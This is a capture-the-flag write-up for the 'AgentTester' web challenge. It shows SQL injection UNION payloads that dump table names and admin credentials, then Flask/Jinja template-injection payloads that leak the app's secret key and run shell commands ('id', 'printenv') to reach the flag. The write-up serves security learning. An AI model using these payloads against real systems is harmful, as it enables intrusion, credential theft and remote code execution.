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AgentTesterV1

The code of the aplication was provided and looking at the code we can see that is vulnerable to sql injection (Later i discovered that this wasnt really necessary because the tables names can be checked in the aplication files but hey, is cool):

SELECT userAgent, url FROM uAgents WHERE userAgent = '%s'

Lets get the tables names: ' UNION SELECT name, name FROM sqlite_master WHERE type='table' -- ' UNION SELECT name, name FROM sqlite_master WHERE type='table' and name!="uAgents"--

Table names: - uAgents - user

The user table is what we want here i guess. Lets try this:

' UNION SELECT username, password FROM user --

And the page gave us: Testing User-Agent: admin in url: *)(@skdnaj238374834**__**= cool! So we now have the admin credentials:

admin:*)(@skdnaj238374834**__**=

Also we can use whatever endpoint and user agent we want:

' UNION SELECT 'AgentTester v1','https://hookb.in/oXYJDgO6yzS1mmLaRZax' --

Next, i noticed that the endpoint /debug exists (The challenge provided the code but im silly and didnt take a look until now). Looking at the app code, i noticed that it ask for a specific session ID, probably the admin user. I got the admin user so was not too hard to get access to it using Postman (Just copied the header Cookie from my browser to Postman).

After some research, looks like we can inject flask under the key code with a POST form to the /debug endpoint. For example:

code:{{config}}

<Config {'ENV': 'production', 'DEBUG': False, 'TESTING': False, 'PROPAGATE_EXCEPTIONS': None, 'PRESERVE_CONTEXT_ON_EXCEPTION': None, 'SECRET_KEY': '1L5&wnIh4!Rz6Ufo^iY?aRyV2qXM+kz5', 'PERMANENT_SESSION_LIFETIME': datetime.timedelta(days=31), 'USE_X_SENDFILE': False, 'SERVER_NAME': None, 'APPLICATION_ROOT': '/', 'SESSION_COOKIE_NAME': 'auth', 'SESSION_COOKIE_DOMAIN': False, 'SESSION_COOKIE_PATH': None, 'SESSION_COOKIE_HTTPONLY': True, 'SESSION_COOKIE_SECURE': False, 'SESSION_COOKIE_SAMESITE': None, 'SESSION_REFRESH_EACH_REQUEST': True, 'MAX_CONTENT_LENGTH': None, 'SEND_FILE_MAX_AGE_DEFAULT': datetime.timedelta(seconds=43200), 'TRAP_BAD_REQUEST_ERRORS': None, 'TRAP_HTTP_EXCEPTIONS': False, 'EXPLAIN_TEMPLATE_LOADING': False, 'PREFERRED_URL_SCHEME': 'http', 'JSON_AS_ASCII': True, 'JSON_SORT_KEYS': True, 'JSONIFY_PRETTYPRINT_REGULAR': False, 'JSONIFY_MIMETYPE': 'application/json', 'TEMPLATES_AUTO_RELOAD': None, 'MAX_COOKIE_SIZE': 4093, 'SQLALCHEMY_DATABASE_URI': 'sqlite:///DB/db.sqlite', 'SQLALCHEMY_TRACK_MODIFICATIONS': False, 'SQLALCHEMY_BINDS': None, 'SQLALCHEMY_NATIVE_UNICODE': None, 'SQLALCHEMY_ECHO': False, 'SQLALCHEMY_RECORD_QUERIES': None, 'SQLALCHEMY_POOL_SIZE': None, 'SQLALCHEMY_POOL_TIMEOUT': None, 'SQLALCHEMY_POOL_RECYCLE': None, 'SQLALCHEMY_MAX_OVERFLOW': None, 'SQLALCHEMY_COMMIT_ON_TEARDOWN': False, 'SQLALCHEMY_ENGINE_OPTIONS': {}}>

Funny. What about this:

code:{{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}

uid=1000(uwsgi) gid=0(root) groups=0(root)

So we have remote code execution. After some digging i found the flag listing all the envars of the machine:

code:{{request.application.__globals__.__builtins__.__import__('os').popen('printenv').read()}}

BASE_URL=challenge.nahamcon.com KUBERNETES_SERVICE_PORT=443 KUBERNETES_PORT=tcp://10.116.0.1:443 UWSGI_ORIGINAL_PROC_NAME=uwsgi HOSTNAME=agenttester-691977e06298952e-5c9d4d6f8f-ssqhz SHLVL=1 PYTHON_PIP_VERSION=21.0.1 PORT= HOME=/root GPG_KEY=E3FF2839C048B25C084DEBE9B26995E310250568 _=/usr/local/bin/uwsgi PYTHON_GET_PIP_URL=https://github.com/pypa/get-pip/raw/b60e2320d9e8d02348525bd74e871e466afdf77c/get-pip.py KUBERNETES_PORT_443_TCP_ADDR=10.116.0.1 PATH=/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin KUBERNETES_PORT_443_TCP_PORT=443 KUBERNETES_PORT_443_TCP_PROTO=tcp LANG=C.UTF-8 CHALLENGE_FLAG=flag{fb4a87cfa85cf8c5ab2effedb4ea7006} PYTHON_VERSION=3.8.8 ADMIN_BOT_PASSWORD=*)(@skdnaj238374834**__**= KUBERNETES_SERVICE_PORT_HTTPS=443 KUBERNETES_PORT_443_TCP=tcp://10.116.0.1:443 CHALLENGE_NAME=AgentTester PWD=/app ADMIN_BOT_USER=admin KUBERNETES_SERVICE_HOST=10.116.0.1 PYTHON_GET_PIP_SHA256=c3b81e5d06371e135fb3156dc7d8fd6270735088428c4a9a5ec1f342e2024565 UWSGI_RELOADS=0

Flag: flag{fb4a87cfa85cf8c5ab2effedb4ea7006}

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